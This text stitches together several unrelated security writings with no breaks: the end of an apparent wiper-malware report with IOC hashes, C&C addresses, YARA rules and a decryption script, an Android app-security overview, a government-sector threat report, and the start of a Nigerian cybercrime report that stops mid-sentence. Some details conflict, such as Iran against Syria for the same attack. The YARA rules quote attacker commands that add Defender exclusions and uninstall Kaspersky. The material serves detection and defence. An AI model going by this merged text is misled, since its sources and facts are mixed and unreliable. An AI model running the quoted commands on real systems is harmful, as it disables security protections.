raise our collective level of anxiety. As we said in the opening statement, this attack happened in Iran, but next month an equivalent attack could be launched by some other group targeting New York, and Berlin the month after that. Nothing prevents it, except threat actors’ limited patience, motivation, and resources, which — as we’ve clearly just seen — are sometimes not so limited after all. ## Appendix A – Indicators of Compromise ### Samples: md5, sha1, sha256 **Executables:** - 5e3e9ac6e280d8f7fa0e29707d32ce63 - 6dc64e916faaf7cb26c7019e3d1e9c423550e2bd - 6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4 - 685632a50d8c514a09882f24165741c3 - 864667b969b7b31e8975700c4e9236390a250118 - d71cc6337efb5cbbb400d57c8fdeb48d7af12a292fa87a55e8705d18b09f516e - 04633656756847a79c7a2a02d62e5522 - 86e4f73c384d84b6ecd5ad9d7658c1cc575b54df - 2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b - bd5acbbfc5c2c8b284ec389207af5759 - c71b6cd6a46494e9132da20a6bacfe0b870a460e - 9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473 **Other Artifacts:** - aad0e2a996a0b1602f5716f1b9615631 - acc58db9a430be2a385d046634b26c5f88b839a0 - 7ad16dab6f066ec559e11ead2d9da8755d03273b1c5d374a3f59dd421c417f5a - f034755abb5ba85c7d24660668f8e710 - b3f5cc0288dce893cb5b4716f30b535e862dd3e6 - 0f941dea21337420610164da04fa2c3c929b2685363e79e5b70818cd43b3aa13 - 8420afcab941d1fdf78acd1795c7119a - b21bde15f12e30f9b8c167716da2d3d46c33f71b - b75a962528123df9d773baa86215d9b9c6d0b85bf8364e4e553d7b64a4a9f532 - e1cd6d256f1eb0670f3149f5beb56ee6 - 296c1c077d00eeca273fdb8bd3dc79fd32ed20b4 - eb5237d56c0467b5def9a92e445e34eeed9af2fee28f3a2d2600363724d6f8b0 - 8c14e57367fa096afebb94260301ed48 - b4fed320516ae5f64bb1e02890e866e0533ee649 - 62a984981d14b562939294df9e479ac0d65dfc412d0449114ccb2a0bc93769b0 - 877a992716d13e47a52f4cdf00e51c02 - ca942726a3b262b98a5fddb1b2e4734246cdf9cf - 2872da0355c441cedba1e5f811e99b56ea5517fe86fdebb4e579a49baf0bdee0 - 5d70cc279156c425101e51bfa92e61ea - ae4bb25557eaca1ce03ec392b27d2afb712c815a - 3099deb8c06fb8d188863f0c861de0c5bef657abdb9920ab501d9e165e495381 - 73b0bca9d0dfb45492475f39ab54b735 - 86194d936776050ca4d7f1236badc9df872122f6 - 571468214c11e5c76ae524b730b26b02872d8987cc67ce2d7faaabeceb1f5e52 - 2be09527a2acc1906a4f77d42cae315c - 2dabc8a869dced67b9ce6308628441f826b17daf - 5cd6e3e2c2c7313de5acc5b9a4ca4a7680b0d667951627038e5df348f61aacea - 86faa0db58b4443270c505e561b77eb5 - c304aed1735814c4614f5367cb12e9f89ce00a99 - 8929380c7ea52659e0f7cacfde2e01011b9fb895db0e52cea388db901e1e668f - 3cba53cda9ace7ab1a7beeb0f401047d - 0a725efee682999a2a27a827f7abd19b85fdbf27 - 78a8134a53fa2c541dcc8fbb8a122addf0f855a86dd041bd75ff845c34e43913 - 20db704469ae59c75a76cf36c84e8d9f - ec65cd56f5c79df62c01ae16e474d8d218f2e957 - 948febaab71727217303e0aabb9126f242aa51f89caa7f070a3da76c4f5699ed - 1d9ae3af3503a087a4f942cacf2a7b75 - 706918a9a551e506333fc84e89189b126bff6fd1 - 74cdb71236c63343428ed61d578a0d048fa9ec46929413726542e2f7e02311ce - 6f78d83ef0471cc783e29d8051e24f67 - 08727eb2ebcd8e46aff094c611e806df3dba20f9 - 5553ba3dc141cd63878a7f9f0a0e67fb7e887010c0614efd97bbc6c0be9ec2ad - 1551eaf7f1935ec3bcbde64f09c77d4c - b84a60f800bbd06e778ffc09e28abe38b3573903 - 22627df09a7d68e99f4682d9442755de38c71f53af22c80f92def91823af1466 - bab43b4e0df5b64ab0f053c813497610 - 03e6a0b9afe4346ff0e5bc2c3a4ff05e6a4eb6bd - 341e5d7fab4e6b5a16ab2c5b506d00e49b1b3aa214fb930a371637a1813382c6 - 4c1636d7036a9b4bfea421b25f73691e - 40faadf37fc6bace3a304f572b1f2892e8147820 - 342fb340dc518faa5811d2b9701f83a14d409310da32e0b8c451a85200e08832 - db07dd687b32c50a0aa51359fb8cce09 - 8249491393ffe07ffb3f987e8199f889579d0826 - 68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7 - cfb7b988cc5dc257987635646e86172b - dd01819d9ce6853927c000cc8de598d8030ab27c - 38a419cd9456e40961c781e16ceee99d970be4e9235ccce0b316efe68aba3933 - 26f49957eaa56a82ad20492919cc6c22 - d7e2e40825e262e4bb884111d7ba13fd867c3c0f - 4d994b864d785abccef829d84f91d949562d0af934114b65056315bf59c1ef58 - 81d3fcbe0dca0f47f780fcf22ebb3f5e - 8531d06c2cc36af8f65f558932e2c09dec4fa3e4 - 2d35bb7c02062ff2fba4424a267c5c83351405281a1870f52d02f3712a547a22 - d85a211793e9cb1cb8c24be22c24b30f - 1b90dafc4a34491f64e62d63c82f1b44ca138887 - 67920ff26a18308084679186e18dcaa5f8af997c7036ba43c2e8c69ce24b9a1a - eef87eea468b7ac6055b49dafc86502f - 75bb2bb1ea3cd4b726f5a1bc4fab20edbeb08238 - ac7dd1048e1705e07e4d21dc25c58441f9eb86b37b9969b423ff6ca241871586 - 29adef27d040405cd22d5b36aae3e00f - db82ef80f28bdca0821a616a1ba8db1d79287a67 - e9b70bf93f1b396be02feb35af5445985e3429461b195de881e0483361e57049 - 6833338cc5a96826cef926703753f10e - 62f36c0eba49ee73d8751e721fdd0acb61ef1304 - 342070940aa3b46486cb458eb13545101b49d4eebe2c93c608948dbb7ce463bc - bfb51ec459eaafb7a50ee646d49ecd4d - 579330d75f5fce52b1bab475bd77cf347fc404e4 - f8139c0f5bab5d7b1624f1ac55e84d451fe1fa01f2903f269f56e5bfa3a40548 ### C&C servers: - 68.183.79.77 - 167.172.177.158 - 139.59.89.238 - 172.105.42.64 ## Appendix B – Yara Rules ```yara rule ZZ_breakwin_config { meta: description = "Detects the header of the encrypted config files, assuming known encryption key." author = "Check Point Research" date = "22-07-2021" hash = "948febaab71727217303e0aabb9126f242aa51f89caa7f070a3da76c4f5699ed" hash = "2d35bb7c02062ff2fba4424a267c5c83351405281a1870f52d02f3712a547a22" hash = "68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7" strings: $conf_header = {1A 69 45 47 5E 46 4A 06 03 E4 34 0B 06 1D ED 2F 02 15 02 E5 57 4D 59 59 D1 40 20 22} condition: $conf_header at 0 } ``` ```yara rule ZZ_breakwin_wiper { meta: description = "Detects the BreakWin wiper that was used in attacks in Syria" author = "Check Point Research" date = "22-07-2021" hash = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b" hash = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4" hash = "d71cc6337efb5cbbb400d57c8fdeb48d7af12a292fa87a55e8705d18b09f516e" strings: $debug_str_meteor_1 = "the program received an invalid number of arguments" wide $debug_str_meteor_2 = "End interval logger. Resuming writing every log" wide $debug_str_meteor_0 = "failed to initialize configuration from file" wide $debug_str_meteor_3 = "Meteor is still alive." wide $debug_str_meteor_4 = "Exiting main function because of some error" wide $debug_str_meteor_5 = "Meteor has finished. This shouldn't be possible because of the is-alive loop." wide $debug_str_meteor_6 = "Meteor has started." wide $debug_str_meteor_7 = "Could not hide current console." wide $debug_str_meteor_8 = "Could not get the window handle used by the console." wide $debug_str_meteor_9 = "Failed to find base-64 data size" wide $debug_str_meteor_10 = "Running locker thread" wide $debug_str_meteor_11 = "Failed to encode wide-character string as Base64" wide $debug_str_meteor_12 = "Wiper operation failed." wide $debug_str_meteor_13 = "Screen saver disable failed." wide $debug_str_meteor_14 = "Failed to generate password of length %s. Generating a default one." wide $debug_str_meteor_15 = "Failed to delete boot configuration" wide $debug_str_meteor_16 = "Could not delete all BCD entries." wide $debug_str_meteor_17 = "Finished deleting BCD entries." wide $debug_str_meteor_18 = "Failed to change lock screen" wide $debug_str_meteor_19 = "Boot configuration deleted successfully" wide $debug_str_meteor_20 = "Failed to kill all winlogon processes" wide $debug_str_meteor_21 = "Changing passwords of all users to" wide $debug_str_meteor_22 = "Failed to change the passwords of all users" wide $debug_str_meteor_23 = "Failed to run the locker thread" wide $debug_str_meteor_24 = "Screen saver disabled successfully." wide $debug_str_meteor_25 = "Generating random password failed" wide $debug_str_meteor_26 = "Locker installation failed" wide $debug_str_meteor_27 = "Failed to set auto logon." wide $debug_str_meteor_28 = "Failed to initialize interval logger. Using a dummy logger instead." wide $debug_str_meteor_29 = "Succeeded setting auto logon for" wide $debug_str_meteor_30 = "Failed disabling the first logon privacy settings user approval." wide $debug_str_meteor_31 = "Failed disabling the first logon animation." wide $debug_str_meteor_32 = "Waiting for new winlogon process" wide $debug_str_meteor_33 = "Failed to isolate from domain" wide $debug_str_meteor_34 = "Failed creating scheduled task for system with name %s." wide $debug_str_meteor_35 = "Failed to get the new token of winlogon." wide $debug_str_meteor_36 = "Failed adding new admin user." wide $debug_str_meteor_37 = "Failed changing settings for the created new user." wide $debug_str_meteor_38 = "Failed disabling recovery mode." wide $debug_str_meteor_39 = "Logging off users on Windows version 8 or above" wide $debug_str_meteor_40 = "Succeeded setting boot policy to ignore all errors." wide $debug_str_meteor_41 = "Succeeded creating scheduled task for system with name" wide $debug_str_meteor_42 = "Succeeded disabling recovery mode" wide $debug_str_meteor_43 = "Failed to log off all sessions" wide $debug_str_meteor_44 = "Failed to delete shadowcopies." wide $debug_str_meteor_45 = "Failed logging off session: " wide $debug_str_meteor_46 = "Failed setting boot policy to ignore all errors." wide $debug_str_meteor_47 = "Successfully logged off all local sessions, except winlogon." wide $debug_str_meteor_48 = "Succeeded creating scheduled task with name %s for user %s." wide $debug_str_meteor_49 = "Killing all winlogon processes" wide $debug_str_meteor_50 = "Logging off users in Windows 7" wide $debug_str_meteor_51 = "Failed logging off all local sessions, except winlogon." wide $debug_str_meteor_52 = "Failed creating scheduled task with name %s for user %s." wide $debug_str_meteor_53 = "Succeeded deleting shadowcopies." wide $debug_str_meteor_54 = "Logging off users in Windows XP" wide $debug_str_meteor_55 = "Failed changing settings for the created new user." wide $debug_str_meteor_56 = "Could not open file %s. error message: %s" wide $debug_str_meteor_57 = "Could not write to file %s. error message: %s" wide $debug_str_meteor_58 = "Could not tell file pointer location on file %s." wide $debug_str_meteor_59 = "Could not set file pointer location on file %s to offset %s." wide $debug_str_meteor_60 = "Could not read from file %s. error message: %s" wide $debug_str_meteor_61 = "Failed to wipe file %s" wide $debug_str_meteor_62 = "attempted to access encrypted file in offset %s, but it only supports offset 0" wide $debug_str_meteor_63 = "Failed to create thread. Error message: %s" wide $debug_str_meteor_64 = "Failed to wipe file %s" wide $debug_str_meteor_65 = "failed to get configuration value with key %s" wide $debug_str_meteor_66 = "failed to parse the configuration from file %s" wide $debug_str_meteor_67 = "Failed posting to server, received unknown exception" wide $debug_str_meteor_68 = "Failed posting to server, received std::exception" wide $debug_str_meteor_69 = "Skipping %s logs. Writing log number %s:" wide $debug_str_meteor_70 = "Start interval logger. Writing logs with an interval of %s logs." wide $debug_str_meteor_71 = "failed to write message to log file %s" wide $debug_str_meteor_72 = "The log message is too big: %s/%s characters." wide $debug_str_stardust_0 = "Stardust has started." wide $debug_str_stardust_1 = "0Vy0qMGO" ascii wide $debug_str_comet_0 = "Comet has started." wide $debug_str_comet_1 = "Comet has finished." wide $str_lock_my_pc = "Lock My PC 4" ascii wide $config_entry_0 = "state_path" ascii $config_entry_1 = "state_encryption_key" ascii $config_entry_2 = "log_server_port" ascii $config_entry_3 = "log_file_path" ascii $config_entry_4 = "log_encryption_key" ascii $config_entry_5 = "log_server_ip" ascii $config_entry_6 = "processes_to_kill" ascii $config_entry_7 = "process_termination_timeout" ascii $config_entry_8 = "paths_to_wipe" ascii $config_entry_9 = "wiping_stage_logger_interval" ascii $config_entry_10 = "locker_exe_path" ascii $config_entry_11 = "locker_background_image_jpg_path" ascii $config_entry_12 = "auto_logon_path" ascii $config_entry_13 = "locker_installer_path" ascii $config_entry_14 = "locker_password_hash" ascii $config_entry_15 = "users_password" ascii $config_entry_16 = "locker_background_image_bmp_path" ascii $config_entry_17 = "locker_registry_settings_files" ascii $config_entry_18 = "cleanup_script_path" ascii $config_entry_19 = "is_alive_loop_interval" ascii $config_entry_20 = "cleanup_scheduled_task_name" ascii $config_entry_21 = "self_scheduled_task_name" ascii $encryption_asm = {33 D2 8B C3 F7 75 E8 8B 41 04 8B 4E 04 8A 04 02 02 C3 32 04 1F 88 45 F3 39 4E 08} $random_string_generation = {33 D2 59 F7 F1 83 ?? ?? 08 66 0F BE 82 ?? ?? ?? 00 0F B7 C8 8B C7} condition: uint16(0) == 0x5A4D and ( 6 of them or $encryption_asm or $random_string_generation ) } ``` ```yara rule ZZ_breakwin_stardust_vbs { meta: description = "Detect the VBS files that were found in the attacks on targets in Syria" author = "Check Point Research" date = "22-07-2021" hash = "38a419cd9456e40961c781e16ceee99d970be4e9235ccce0b316efe68aba3933" hash = "62a984981d14b562939294df9e479ac0d65dfc412d0449114ccb2a0bc93769b0" hash = "4d994b864d785abccef829d84f91d949562d0af934114b65056315bf59c1ef58" hash = "eb5237d56c0467b5def9a92e445e34eeed9af2fee28f3a2d2600363724d6f8b0" hash = "5553ba3dc141cd63878a7f9f0a0e67fb7e887010c0614efd97bbc6c0be9ec2ad" strings: $url_template = "progress.php?hn=\" & CN & \"&dt=\" & DT & \"&st=" $compression_password_1 = "YWhZMFU1VlZGdGNFNWlhMVlVMnhTMWtOVlJVWWNGTk9iVTQxVW10V0ZFeFJUMD0r" $compression_password_2 = "YWlvcyBqQCNAciNxIGpmc2FkKnIoOUZURjlVSjBSRjJRSlJGODlKSDIzRmloIG8" $uninstall_kaspersky = "Shell.Run \"msiexec.exe /x \" & productcode & \" KLLOGIN=" $is_avp_running = "isProcessRunning(\".\", \"avp.exe\") Then" condition: any of them } ``` ```yara rule ZZ_breakwin_meteor_batch_files { meta: description = "Detect the batch files used in the attacks" author = "Check Point Research" date = "22-07-2021" strings: $filename_0 = "mscap.bmp" $filename_1 = "mscap.jpg" $filename_2 = "msconf.conf" $filename_3 = "msmachine.reg" $filename_4 = "mssetup.exe" $filename_5 = "msuser.reg" $filename_6 = "msapp.exe" $filename_7 = "bcd.rar" $filename_8 = "bcd.bat" $filename_9 = "msrun.bat" $command_line_0 = "powershell -Command \"%exclude_command% '%defender_exclusion_folder%" $command_line_1 = "start /b \"\" update.bat hackemall" condition: 4 of ($filename_*) or any of ($command_line_*) } ``` ## Appendix C – Config and Log Decryption Script ```python from malduck import xor, u32 def decode_buffer(buf, key): results = "" for k, v in enumerate(buf): # XOR is rolled by the index of the encrypted character results += chr(((k % 256) + key[k % len(key)] ^ v) & 0xff) return results def decode_log_file(filepath): content = open(filepath, 'rb').read() key = b"aceg" # modified 'abcdz' because of shifting indexes offset = 0 while offset < len(content): sz = u32(xor(key, content[offset:offset + 4])) + 4 print(decode_buffer(content[offset:offset + sz], b"abcdz")) offset += sz def decode_config(filepath, key=b"abcdz"): content = open(filepath, 'rb').read() return decode_buffer(content, key) ```
# The App Market The app market is like the wild, wild west: open, accessible, and unrestricted. There is no need to coerce a user to download your app and install it from a remote website. The permission-based security model is new and puts the average consumer in charge of the critical security decision-making process. ## Why are we so interested in Android? Apps are not adequately reviewed before being placed on the market for public consumption. The Android Marketplace is often referred to as the biggest warez site in the world, besides third-party markets. Users are prompted with a permission list that is at best vaguely described, even in SDK documentation. For example, "READ_PHONE_STATE - Allows read-only access to phone state" might be better described as a permission that grants the application access to read your unique cell phone serial, phone number, SIM card serial number, and much more. ### Permission Model - App vendors are not validated. - Malicious developers can publish apps that masquerade as legitimate products. - Jon Oberheide provided an entertaining example with RootStrap - Twilight. ## Risks to Android Users - Malware - Autorun - WiFi - Phishing - Rootkits - Botnet Node - Network Traversal - Jailbreaking Don’t believe everything you read in the press. It’s not that bad, at least for the Android Market. However, Android malware is advancing in sophistication much faster than on previous computing platforms, introducing "Trend Trojans." ### Malware - Protecting Yourself Things to look for when selecting apps for your mobile device: - Has the app been on the market for more than 90 days? - Does the app have decent ratings? - Are the developers well-known and respected? - What permissions is the app asking for? ### Autorun Apps can run without being clicked and can be invoked from automated system events. Since security apps typically scan post-install due to framework limitations, this leaves a window open for attackers to exploit. ### WiFi Hazards Many apps do not encrypt your data before sending it to backend servers. Most public access WiFi APs are not encrypted. Even when the phone is not in use, many apps auto-sync in the background, allowing hackers to hijack your app accounts. - Uncheck connect when within range features. - Disable any other auto-connect functionality. ### App Phishing Rogue apps can masquerade as legitimate apps you trust. An app may wait for activity (UI Element) of interest to spawn, and a phishing app will then overlay its own interface, tricking the user into entering sensitive information. Exercise caution when granting apps permissions like: - READ_LOGS - GET_TASKS Phishing apps will usually be unable to populate the fake login screen with saved credentials. ### Rootkits Proof-of-concepts have been around for a while, but none are currently reported in the markets. At the moment, we’ve only seen them coupled with 0-day for targeted attacks. Apps can utilize jailbreak exploits to gain root privileges and install themselves. ### Botnet Usually deployed from malware. Exercise caution when installing apps, as discussed in the prior malware section. Compromised mobiles can be used to attack each network that the mobile gains access to. ### Jailbreaking Don’t jailbreak your phone until a better escalation solution is available. When asked to approve an app for escalation, uncheck the "remember" checkbox. ### Your Toolkit - DEX2JAR: Convert compiled DEX object code to a JAR that can be decompiled with JAD. - APKTOOL: Disassembler and binary XML translator built in. Produces Jasmin-like syntax that can be reviewed by your favorite editor. Also supports APK rebuilding. - DED: Decompiler for Android DEX that requires a little more setup but provides much more reliable results than other decompilers. - Source Insight: Industry favorite code analyzer. You can create custom SMALI/JASMIN parsers to visually render your code as desired. - 010 Editor: Fantastic hex editor that also supports templates. - IDA: The only tool for examining machine code. ### Things to Look For Requested permissions offer a valuable first stab at an attack surface area assessment, e.g.: - READ_LOGS: What happens when malicious log entries are injected into the system logs? - INTERNET: MITM/Leak Potential - RECEIVE_SMS: Can the app be exploited with a text message? ### Norton Security - Buddy verification is broken; anyone can issue remote commands. - No password strength guideline and phone. - Limit for failed SMS authorization failures is not in place. - User is not warned of failed attempts. ### Activity Reuse Privateer Labs performed a review of 618 apps that contained a total of 3592 Activities. This yielded 2176 Activities that do not enforce permissions and are publicly accessible. ### SQL Injection Android developers are recommended to use parameterized query options to mitigate the risk of SQL Injection. However, many developers build string queries via the execSQL() method and rarely sanitize XML input. ### XML Injection Input sources are typically user-supplied and therefore should not be trusted. Android SharedPrefs properly encode problem characters. Test values were pushed to the app, and the app was installed onto the Android phone, then pulled and examined to verify the lack of secondary encoding on special values. ### Package Name Trust Two package names cannot exist on the market at the same time. Don’t assume that package names can be trusted, as packages are sometimes deployed by vendors and not placed on the market. ### Traversing Webviews Apps frequently fail to encrypt sensitive network communications. Setup MITM to review the network data delivery of your target apps. ### Conclusion App developers typically do not have the budget to hire professionals to perform security audits of their apps. Marketplace operators do not currently perform vulnerability scans of apps.
# Attacks Against the Government Sector ## Introduction The government sector, both U.S. and international, is a prime target for hackers. Attacks from organized criminals, foreign countries, political hacktivists, and others not only erode public trust in targeted government entities but can also seriously impact government operations and the ability to deliver critical functions—not to mention the financial cost and risk to sensitive information and vital infrastructure. This all means that cybersecurity is a large and growing concern for governments worldwide. Increasingly, federal, state, and local governments are targets as threat actors attempt to steal or manipulate sensitive data or disrupt operations. This was highlighted in December 2020 when news emerged of the SolarWinds supply chain attack in which multiple parts of the U.S. Federal Government, NATO, the UK government, and the European Parliament were impacted. The incident, which also impacted thousands of organizations in the private sector, was reported to be among the worst cyber-espionage incidents ever suffered by the U.S. Different types of groups or individuals can initiate attacks against the government sector, and their motivations vary widely. Foreign nations may seek to obtain sensitive information about government operations; criminals may steal government employee data to hold for ransom or to sell and commit fraud; and hacktivists motivated by ideology rather than profit may seek to disrupt or gather information to further their agenda. In addition, types of attack can also vary widely, ranging from ransomware to email-based social engineering attacks, to zero-day exploits, and supply chain attacks. ## What is the Government Sector? As the government sector is vast and incorporates a wide range of entities, for this paper we chose to use the Public Administration sector as defined by the North American Industry Classification System (NAICS). Sector 92: Public Administration is defined as consisting of establishments of federal, state, and local government agencies that administer, oversee, and manage public programs and have executive, legislative, or judicial authority over other institutions within a given area. Some of the key areas covered in this paper include the following: - **Examples of Attacks:** Some recent examples of attacks against government entities broken up into common attack types/motivations. - **Who is Attacking?** A look at some prominent advanced persistent threat (APT) groups with a focus on targeting the government sector. - **Malicious Activity Trends:** Key trends taken from Symantec, a division of Broadcom (NASDAQ: AVGO), metrics. - **Case Studies:** A detailed look at two cases worked on by the Symantec Threat Hunter Team. - **How to Protect Your Network:** Protection and mitigation information that can be used by organizations in the government sector to protect their networks. ## Examples of Attacks While cyber attacks against the government sector are far too numerous to list, in recent times there have been a number of notable incidents that highlight the range of attacks this sector is subject to, as well as the various tactics employed. ### Ransomware **Argentinian Border Crossing Shut Down** In August 2020, Argentina’s immigration agency (Dirección Nacional de Migraciones) suffered a ransomware attack that forced it to close the country’s border crossing. The Netwalker ransomware infected a number of servers at the immigration agency, which led to it deciding to completely shut down networks used by immigration offices and control posts. This meant that border crossings were suspended for several hours. The malware operators initially demanded a $2 million ransom; however, this increased to $4 million after the Argentinian government refused to negotiate with the criminals. **Ireland’s National Health Service** On May 14, 2021, Ireland’s national health service, the Health Service Executive (HSE), was hit with a ransomware attack that led to it having to shut down its IT systems. The attack impacted all its national and local services. The attack was committed by a suspected Russian cyber crime group using the Conti ransomware. The threat actors claimed they had access to the HSE network for two weeks, stole 700 GB of unencrypted files, and demanded a $20 million ransom. The Irish government said it would not be paying any ransom. Shortly after this announcement, the Conti attackers provided a free decryptor but warned they would still publish stolen patient data online unless a ransom was paid. Ireland’s Department of Health was also targeted by the Conti gang. The department shut down its systems following the incident but Ireland’s Minister for Communications said that the attack “wasn’t as extensive” as the HSE attack and was intercepted earlier. ### Espionage **SolarWinds Supply Chain Attack** In mid-December 2020, news broke of the SolarWinds supply chain attack. In this particular case, rather than attacking the targets directly, the hackers compromised a third-party software provider (SolarWinds), accessing its build system and sneaking malicious code into updates to popular software Orion. By compromising the update mechanism for SolarWinds’ Orion software, the attackers were able to deliver a backdoor Trojan known as Sunburst. While thousands of organizations downloaded the Trojanized software update, the attackers were only interested in a relatively small selection. The nature of supply chain attacks means they are indiscriminate, with any user of the compromised software at risk of infection. The attackers then get to pick and choose from the infected organizations, focusing on high-value targets for the purpose of espionage. A number of key U.S. federal agencies downloaded the malicious update, including the Department of Commerce, the Department of Homeland Security, the Treasury Department, and the Justice Department. The Justice Department later revealed that around 3% of its Office 365 mailboxes had been accessed by the attackers behind the attack. NATO, the UK government, and the European Parliament were also impacted by the SolarWinds attack. In April 2021, the U.S. government said that SVR, the Russian Foreign Intelligence Service, was responsible for the SolarWinds attack. The U.S. imposed wide-ranging sanctions against Russia as a response. **Dragonfly Exploiting Known Vulnerabilities** In October 2020, the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) released a joint statement revealing attacks carried out by a Russian state-sponsored hacking group against U.S. government networks. The hacking group was Dragonfly. The attackers had been targeting dozens of state and local government networks since at least February 2020. The group successfully compromised network infrastructure and exfiltrated data from at least two victim servers by combining exploits for known VPN appliances and Windows vulnerabilities. The hackers used the vulnerabilities to breach networking gear, pivot to internal networks, elevate privileges, and steal sensitive data. ### Denial of Service **Belgian Government Knocked Offline by DDoS Attack** In May 2021, Belgium’s government was hit with a major distributed denial of service (DDoS) attack that knocked most of its network offline, including public-facing websites and internal systems. The attack targeted Belnet, a state-owned ISP that provides connectivity and infrastructure for the country’s government and public sector organizations. At least 200 public organizations were affected by the attack, including the country’s tax portal, remote learning systems used by schools, and its COVID vaccine registration portal. While the attack has yet to be attributed to anyone, several Belgian politicians and political observers suggested that the incident may have been politically motivated. ## Who is Attacking? As well as ransomware actors out for financial gain and hacktivists with a goal of making political statements, advanced persistent threat (APT) groups are one of the biggest threats to the government sector. These highly skilled and typically state-sponsored threat actors are well-resourced and use sophisticated hacking techniques to gain access to target networks. Because of the level of effort needed to carry out these attacks, APTs are usually leveled at high-value targets, such as those in the government sector. ### Iran **Crambus** Believed to have been active since at least 2014, Crambus is known to have targeted government agencies, financial institutions, and technology companies in various countries. The group delivers a custom backdoor known as Heherminth via spear-phishing attacks, targeting individuals within organizations of interest using malicious Office documents with embedded macros to install a backdoor. The goal of the group is cyber espionage, focusing on reconnaissance efforts to benefit Iranian nation-state interests. ### China **Cicada** The Chinese government-linked group known as Cicada has been active since at least 2009 and is believed to be involved in espionage-type operations. Cicada traditionally customizes publicly available malware in concert with dual-use tools during operations. The group is known to target numerous sectors, including government, aerospace, energy, engineering, financial, healthcare, IT, manufacturing, media, and research. **Budworm** Budworm has been active since at least July 2013. The Chinese government-linked group uses various malware families in its attacks. Budworm has been known to leverage strategic website compromises and spear-phishing attacks to target victims in the aerospace, defense, government, and technology industries. ### Russia **Swallowtail** Swallowtail is believed to be a Russian cyber espionage group that has been active since at least January 2007. The group has been known to employ a variety of methods to gain access to targeted organizations’ networks, including spear-phishing emails and exploitation of software vulnerabilities. **Fritillary** Fritillary is believed to be a Russian cyber espionage group and has been active since at least January 2010. APT29 usually relies on spear-phishing emails to gain access to targeted organizations’ networks. The group has been implicated in disruptive attacks prior to the 2016 U.S. presidential election. ### North Korea **Springtail** Springtail has been active since at least 2012. The group is believed to be operating on behalf of the North Korean government. Springtail uses various malware families in its attacks and is known to use social engineering tactics, spear-phishing emails, and watering hole attacks to compromise its victims. ## Malicious Activity Trends In order to assess general levels of malicious activity, we examined telemetry from 1,100 government customers over the past 15 months, namely all of 2020 and the first quarter of 2021. Malware detections in these organizations trended downwards in this time period. While the trend is welcome news, it shouldn’t be cause for complacency since the decline was relatively small. Secondly, the biggest sources of risk to government organizations—espionage and ransomware—tend to be low prevalence but high impact threats. ### Ransomware While the number of ransomware detections is showing a downward trend, this can be misleading as the number of victims is still considerable and, due to changing tactics from ransomware operators, the impact from successful attacks can be devastating. It should also be noted that the data shown is only a representative sample of the overall number of attacks involving ransomware. ### Network-Based Activity Malware detections form only one part of the picture, and more information can be gleaned from attacks blocked on the network by our Intrusion Prevention (IPS) technologies. Malicious network-based activity reveals more information about the extent of malicious activity on organizations’ networks by blocking activity at the application layer. ## Attack Tactics, Techniques, and Procedures The MITRE ATT&CK® matrix classifies attack techniques and tactics. It divides attack tactics into the following 12 main categories: - Initial Access - Execution - Persistence - Privilege Escalation - Defense Evasion - Credential Access - Discovery - Lateral Movement - Collection - Command and Control - Exfiltration - Impact Within these categories, there are 245 distinct attack techniques. Some may be employed at multiple stages of an attack chain, meaning they can apply to more than one of the above 12 categories. ## Case Studies ### Case Study 1 - Legitimate Executables Abused to Side-load Malicious DLLs In April 2021, Symantec technology identified a number of suspicious files on multiple computers on the networks of two government agencies. The investigation found that the attackers were abusing legitimate executables for side-loading malicious DLLs in order to execute a backdoor threat on victim computers. The motive for the attacks appears to have been information gathering. ### Case Study 2 - Early Access to Unpatched Microsoft Exchange Server Vulnerabilities Snail is believed to be in operation since 2016 and is involved in espionage-type operations on a global scale. The group has been observed targeting organizations in various sectors including the government. In 2020, Snail reportedly had early access to an unpatched Microsoft Exchange Server vulnerability chain in order to deploy their malware. ## Conclusion While cybersecurity is a challenge for every sector, those in the government sector are being targeted by a range of threat actors whose capabilities and persistence continue to grow. The government sector forms the backbone of civil service and, as such, a cyber attack against it can have dire consequences. This threat should not be overlooked, and organizations must take the necessary steps and precautions to bolster their defensive capabilities to prevent them from falling prey to a cyber attack or data breach. ## Protection: How Symantec Solutions Can Help The Symantec Enterprise Business provides a comprehensive portfolio of security solutions to address today’s security challenges and protect data and digital infrastructure from multifaceted threats. These solutions include core capabilities designed to help organizations prevent and detect advanced attacks. ## Mitigation Symantec security experts recommend users observe the following best practices to protect against targeted attacks. ### Local Environment - Monitor the use of dual-use tools inside your network. - Ensure you have the latest version of PowerShell and you have logging enabled. - Restrict access to RDP Services. Only allow RDP from specific known IP addresses and ensure you are using multi-factor authentication (MFA). - Implement proper audit and control of administrative account usage. - Create profiles of usage for admin tools. - Use application allow lists where applicable. - Locking down PowerShell can increase security. - Make credential dumping more difficult. - MFA can help limit the usefulness of compromised credentials. ### Email - Enable MFA to prevent the compromise of credentials during phishing attacks. - Harden security architecture around email systems to minimize the amount of spam that reaches end-user inboxes.
# Threat Update: Nigerian Cybercriminals Target High-Impact Industries in India via Pony By The Cylance Team June 28, 2016 If you go strictly by the daily news headlines, you'd think that the majority of current cybercrime issues were limited to just a few ‘hot’ areas such as China, Russia, and Iran. This is far from the truth, and in fact, there has always been a great deal of concerning activity that originates from outside these ‘hot’ areas. One such area is the nation of Nigeria. When you think of Nigeria and cybercrime, the first thing that pops into your mind is probably the familiar Nigerian “419” scams. Those enticing emails that promise huge sums of money while scamming victims out of ‘advance fees’ and personal data have become something of a punchline these days. Despite being well known, they still persist and often succeed, but in reality, these are just a minor percentage of the total cybercrime activity coming out of Nigeria. For years now there has been a more serious Nigeria-based cyberscam with a rotating cast of actors and groups. The goal of this cyberscam is primarily financial gain, with disruption of business as a welcome side benefit. The potential, however, exists for more severe actions, in terms of physical compromise or destruction of property, cargo, and possibly even human life. While this activity has received a decent amount of coverage in the past, Cylance’s Research Team decided to take a closer look. ## Nigerian Scams Grow in Sophistication Cylance’s investigation concentrated on an ongoing campaign out of Nigeria, primarily targeting high-impact industries in India. In particular: manufacturing, shipping, freight/cargo logistics, and transportation companies were targeted. The immediate gain from these attacks for the cybercriminals is access to a wealth of financial data. By 